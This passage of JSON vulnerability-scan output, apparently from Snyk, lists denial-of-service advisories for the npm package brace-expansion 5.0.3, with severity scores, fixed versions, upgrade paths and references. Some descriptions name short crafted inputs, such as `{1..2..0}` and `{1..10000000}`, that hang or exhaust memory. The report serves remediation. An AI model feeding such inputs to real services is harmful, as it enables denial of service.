"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": 